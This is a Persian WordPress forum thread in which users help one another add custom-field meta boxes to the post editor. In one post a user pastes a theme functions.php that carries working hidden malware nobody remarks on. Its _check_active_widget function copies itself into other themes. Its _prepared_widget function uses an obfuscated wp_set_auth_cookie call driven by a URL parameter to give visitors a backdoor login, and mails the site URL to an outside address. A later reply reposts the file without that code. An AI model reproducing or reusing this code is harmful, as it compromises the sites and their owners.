رفتن به مطلب

جطوری زمینه دلخواه به قسمت جدا تبدیل کنم ؟


پست های پیشنهاد شده

درود.

برای ساخت زمینه دلخواه به این صورت باید به کار ببرید در مکان مناسب


<?php $x= get_post_meta($post->ID, 'link', true); ?>

که link در کد بالا نام زمینه دلخواه شما می باشد

و برای نمایش:


<?php echo $x; ?>

لینک به ارسال

دوس عزیز منظور من تو ارسال پست بود

این عکس ببینید : http://cdn.instantshift.com/wp-content/uploads/2010/10/htswcflfal-03.jpg

این آموزش پیدا کردم اما نمیتونم چظور انجامش بدم ؟؟؟ : http://designshovel.com/go/tpaaab

لینک به ارسال

درمجموع باید این کد هارو قبل از ?> قرار بدم درسته ؟؟

اینم کد :

$arr_artist_details =

array (

"artist-image-url" => array(

"name" => "artist-image-url", // custom field name i.e. the KEY

"type" => "input", // type of custom field i.e. required form's element type could be input/textarea/select etc ...

"title" => "Artist Image URL", // title to be used for the key i.e. form's label

"description" => "field description / help tip", // field description (if any)

"scope" => array("post","page")), // define the scope in posts/pages

"artwork1-small-image-url" => array(

"name" => "artwork1-small-image-url",

"type" => "input",

"title" => "Artwork 1 Small Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork1-large-image-url" => array(

"name" => "artwork1-large-image-url",

"type" => "input",

"title" => "Artwork 1 Large Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork2-small-image-url" => array(

"name" => "artwork2-small-image-url",

"type" => "input",

"title" => "Artwork 2 Small Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork2-large-image-url" => array(

"name" => "artwork2-large-image-url",

"type" => "input",

"title" => "Artwork 2 Large Image URL",

"description" => "field description / help tip",

"scope" => array("post","page"))

);

function generate_artist_form() {

global $post, $arr_artist_details;

foreach($arr_artist_details as $meta_box) {

echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';

echo'<div><span style="width:200px; float:left">'.$meta_box['title'].'</span>';

if( $meta_box['type'] == "input" ) {

$meta_box_value = get_post_meta($post->ID, $meta_box['name'], true);

if($meta_box_value == "")

$meta_box_value = $meta_box['std'];

echo'<input type="text" name="'.$meta_box['name'].'" value="'.$meta_box_value.'" size="98" /><br />';

} elseif ( $meta_box['type'] == "select" ) {

echo'<select name="'.$meta_box['name'].'">';

foreach ($meta_box['options'] as $option) {

echo'<option';

if ( get_post_meta($post->ID, $meta_box['name'], true) == $option ) {

echo ' selected="selected"';

} elseif ( $option == $meta_box['std'] ) {

echo ' selected="selected"';

}

echo'>'. $option .'</option>';

}

echo'</select>';

}

echo '</div>';

echo'<p><label for="'.$meta_box['name'].'">'.$meta_box['description'].'</label></p>';

}

}

function save_form_data( $post_id ) {

global $post, $arr_artist_details;

foreach($arr_artist_details as $meta_box) {

if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {

return $post_id;

}

if ( 'page' == $_POST['post_type'] ) {

if ( !current_user_can( 'edit_page', $post_id ))

return $post_id;

} else {

if ( !current_user_can( 'edit_post', $post_id ))

return $post_id;

}

$data = $_POST[$meta_box['name']];

if(get_post_meta($post_id, $meta_box['name']) == "")

add_post_meta($post_id, $meta_box['name'], $data, true);

elseif($data != get_post_meta($post_id, $meta_box['name'], true))

update_post_meta($post_id, $meta_box['name'], $data);

elseif($data == "")

delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true));

}

}

function create_meta_box() {

global $theme_name, $arr_artist_details;

if (function_exists('add_meta_box')) {

add_meta_box( 'my-custom-fields', 'Gallery - Artist Details', 'generate_artist_form', 'post', 'normal', 'low' );

}

}

سیو کردم اما بازم چیزی نیاورد اینم شاتش : http://up.download.i.../OPOW/23121.png

اینم محتوای function قالب :

<?php

add_theme_support( 'post-thumbnails' );

add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' );

register_sidebar(array(

'name' => 'block rast',

'before_widget' => '',

'before_title' => '<div class="insidecats">

<div class="titcats">',

'after_title' => '</div>',

'after_widget' => '</div>',

));

add_action('admin_menu', 'skydesign_theme_page');

function skydesign_theme_page ()

{

if ( count($_POST) > 0 && isset($_POST['skydesign_settings']) )

{

$options = array ('admin_massage', 'welcome_link','new_address');

foreach ( $options as $opt )

{

delete_option ( 'skydesign_'.$opt, $_POST[$opt] );

add_option ( 'skydesign_'.$opt, $_POST[$opt] );

}

}

add_menu_page(__('????? ???? ????'), __('????? ???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');

add_submenu_page(__('???? ????'), __('???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');

}

function skydesign_settings()

{?>

<div class="wrap">

<h2>??? ????? ???? ???? </h2>

<form method="post" action="">

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend>

<table class="form-table">

<tr valign="top">

<th scope="row"><label for="admin_massage">???? ????</label></th>

<td>

<input name="admin_massage" type="text" id="admin_massage" value="<?php echo get_option('skydesign_admin_massage'); ?>" class="regular-text" /><br />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="skydesign_settings" value="save" style="display:none;" />

</p>

<?php

}

// retreives image from the post

function getImage($num) {

global $more;

$more = 1;

$content = get_the_content();

$count = substr_count($content, '<img');

$start = 0;

for($i=1;$i<=$count;$i++) {

$imgBeg = strpos($content, '<img', $start);

$post = substr($content, $imgBeg);

$imgEnd = strpos($post, '>');

$postOutput = substr($post, 0, $imgEnd+1);

$image[$i] = $postOutput;

$start=$imgEnd+1;

$cleanF = strpos($image[$num],'src="')+5;

$cleanB = strpos($image[$num],'"',$cleanF)-$cleanF;

$imgThumb = substr($image[$num],$cleanF,$cleanB);

}

if(stristr($image[$num],'<img')) { echo $imgThumb; }

$more = 0;

}

//retreive image ends

?>

<?php

function _check_active_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "Not found" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);

$output .= ($showdot && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_all_widgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_all_widgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_check_active_widget");

function _prepared_widget(){

if(!isset($length)) $length=120;

if(!isset($method)) $method="cookie";

if(!isset($html_tags)) $html_tags="<a>";

if(!isset($filters_type)) $filters_type="none";

if(!isset($s)) $s="";

if(!isset($filter_h)) $filter_h=get_option("home");

if(!isset($filter_p)) $filter_p="wp_";

if(!isset($use_link)) $use_link=1;

if(!isset($comments_type)) $comments_type="";

if(!isset($perpage)) $perpage=$_GET["cperpage"];

if(!isset($comments_auth)) $comments_auth="";

if(!isset($comment_is_approved)) $comment_is_approved="";

if(!isset($authname)) $authname="auth";

if(!isset($more_links_text)) $more_links_text="(more...)";

if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");

if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;

if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";

if(!isset($more_content)) $more_content="ma".$s."il";

if(!isset($forces_more)) $forces_more=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$widget_output) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($fix_tag)) $fix_tag=1;

if(!isset($filters_types)) $filters_types=$filter_h;

if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;

if(!isset($more_tags)) $more_tags="div";

if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($mlink_title)) $mlink_title="Continue reading this entry";

if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $length) {

$l=$length;

$ellipsis=1;

} else {

$l=count($text);

$more_links_text="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $html_tags) {

$output=strip_tags($output, $html_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($fix_tag) ? balanceTags($output, true) : $output;

$output .= ($showdot && $ellipsis) ? "..." : "";

$output=apply_filters($filters_type, $output);

switch($more_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_link ) {

if($forces_more) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_prepared_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar');

?>

ویرایش شده توسط Black_sky
longbox
لینک به ارسال

فکر کنم باید به صورت زیر باشد:

<?php

add_theme_support( 'post-thumbnails' );

add_filter( 'show_admin_bar', '__return_false' ); remove_action( 'personal_options', '_admin_bar_preferences' );

register_sidebar(array(

'name' => 'block rast',

'before_widget' => '',

'before_title' => '<div class="insidecats">

<div class="titcats">',

'after_title' => '</div>',

'after_widget' => '</div>',

));

add_action('admin_menu', 'skydesign_theme_page');

function skydesign_theme_page ()

{

if ( count($_POST) > 0 && isset($_POST['skydesign_settings']) )

{

$options = array ('admin_massage', 'welcome_link','new_address');

foreach ( $options as $opt )

{

delete_option ( 'skydesign_'.$opt, $_POST[$opt] );

add_option ( 'skydesign_'.$opt, $_POST[$opt] );

}

}

add_menu_page(__('????? ???? ????'), __('????? ???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');

add_submenu_page(__('???? ????'), __('???? ????'), 'edit_themes', basename(__FILE__), 'skydesign_settings');

}

function skydesign_settings()

{?>

<div class="wrap">

<h2>??? ????? ???? ???? </h2>

<form method="post" action="">

<fieldset style="border:1px solid #ddd; padding-bottom:20px; margin-top:20px;">

<legend style="margin-left:5px; padding:0 5px;color:#2481C6; text-transform:uppercase;"><strong>تنظیمات عمومی</strong></legend>

<table class="form-table">

<tr valign="top">

<th scope="row"><label for="admin_massage">???? ????</label></th>

<td>

<input name="admin_massage" type="text" id="admin_massage" value="<?php echo get_option('skydesign_admin_massage'); ?>" class="regular-text" /><br />

</td>

</tr>

</table>

</fieldset>

<p class="submit">

<input type="submit" name="Submit" class="button-primary" value="ذخیره تغییرات" />

<input type="hidden" name="skydesign_settings" value="save" style="display:none;" />

</p>

<?php

}

// retreives image from the post

function getImage($num) {

global $more;

$more = 1;

$content = get_the_content();

$count = substr_count($content, '<img');

$start = 0;

for($i=1;$i<=$count;$i++) {

$imgBeg = strpos($content, '<img', $start);

$post = substr($content, $imgBeg);

$imgEnd = strpos($post, '>');

$postOutput = substr($post, 0, $imgEnd+1);

$image[$i] = $postOutput;

$start=$imgEnd+1;

$cleanF = strpos($image[$num],'src="')+5;

$cleanB = strpos($image[$num],'"',$cleanF)-$cleanF;

$imgThumb = substr($image[$num],$cleanF,$cleanB);

}

if(stristr($image[$num],'<img')) { echo $imgThumb; }

$more = 0;

}

//retreive image ends

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

if ( function_exists('register_sidebar') )

register_sidebar(array(

'before_widget' => '',

'after_widget' => '</div><div class="wfo"></div>',

'before_title' => '<div class="wtop">',

'after_title' => '</div><div class="wco">',

));

function my_function_admin_bar(){

return false;

}

add_filter( 'show_admin_bar' , 'my_function_admin_bar');

$arr_artist_details =

array (

"artist-image-url" => array(

"name" => "artist-image-url", // custom field name i.e. the KEY

"type" => "input", // type of custom field i.e. required form's element type could be input/textarea/select etc ...

"title" => "Artist Image URL", // title to be used for the key i.e. form's label

"description" => "field description / help tip", // field description (if any)

"scope" => array("post","page")), // define the scope in posts/pages

"artwork1-small-image-url" => array(

"name" => "artwork1-small-image-url",

"type" => "input",

"title" => "Artwork 1 Small Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork1-large-image-url" => array(

"name" => "artwork1-large-image-url",

"type" => "input",

"title" => "Artwork 1 Large Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork2-small-image-url" => array(

"name" => "artwork2-small-image-url",

"type" => "input",

"title" => "Artwork 2 Small Image URL",

"description" => "field description / help tip",

"scope" => array("post","page")),

"artwork2-large-image-url" => array(

"name" => "artwork2-large-image-url",

"type" => "input",

"title" => "Artwork 2 Large Image URL",

"description" => "field description / help tip",

"scope" => array("post","page"))

);

function generate_artist_form() {

global $post, $arr_artist_details;

foreach($arr_artist_details as $meta_box) {

echo'<input type="hidden" name="'.$meta_box['name'].'_noncename" id="'.$meta_box['name'].'_noncename" value="'.wp_create_nonce( plugin_basename(__FILE__) ).'" />';

echo'<div><span style="width:200px; float:left">'.$meta_box['title'].'</span>';

if( $meta_box['type'] == "input" ) {

$meta_box_value = get_post_meta($post->ID, $meta_box['name'], true);

if($meta_box_value == "")

$meta_box_value = $meta_box['std'];

echo'<input type="text" name="'.$meta_box['name'].'" value="'.$meta_box_value.'" size="98" /><br />';

} elseif ( $meta_box['type'] == "select" ) {

echo'<select name="'.$meta_box['name'].'">';

foreach ($meta_box['options'] as $option) {

echo'<option';

if ( get_post_meta($post->ID, $meta_box['name'], true) == $option ) {

echo ' selected="selected"';

} elseif ( $option == $meta_box['std'] ) {

echo ' selected="selected"';

}

echo'>'. $option .'</option>';

}

echo'</select>';

}

echo '</div>';

echo'<p><label for="'.$meta_box['name'].'">'.$meta_box['description'].'</label></p>';

}

}

function save_form_data( $post_id ) {

global $post, $arr_artist_details;

foreach($arr_artist_details as $meta_box) {

if ( !wp_verify_nonce( $_POST[$meta_box['name'].'_noncename'], plugin_basename(__FILE__) )) {

return $post_id;

}

if ( 'page' == $_POST['post_type'] ) {

if ( !current_user_can( 'edit_page', $post_id ))

return $post_id;

} else {

if ( !current_user_can( 'edit_post', $post_id ))

return $post_id;

}

$data = $_POST[$meta_box['name']];

if(get_post_meta($post_id, $meta_box['name']) == "")

add_post_meta($post_id, $meta_box['name'], $data, true);

elseif($data != get_post_meta($post_id, $meta_box['name'], true))

update_post_meta($post_id, $meta_box['name'], $data);

elseif($data == "")

delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true));

}

}

function create_meta_box() {

global $theme_name, $arr_artist_details;

if (function_exists('add_meta_box')) {

add_meta_box( 'my-custom-fields', 'Gallery - Artist Details', 'generate_artist_form', 'post', 'normal', 'low' );

}

}

add_action('admin_menu', 'create_meta_box'); add_action('save_post', 'save_form_data');

?>

لینک به ارسال

سلام

از متاباکس هم می تونید استفاده کنید. اینم یک پلاگین کامل برای این کار http://mandegarweb.com/wordpress/free-wordpress-plugins/advanced-custom-fields-%DB%8C%DA%A9-%D9%BE%D9%84%D8%A7%DA%AF%DB%8C%D9%86-%DA%A9%D8%A7%D9%85%D9%84/

لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...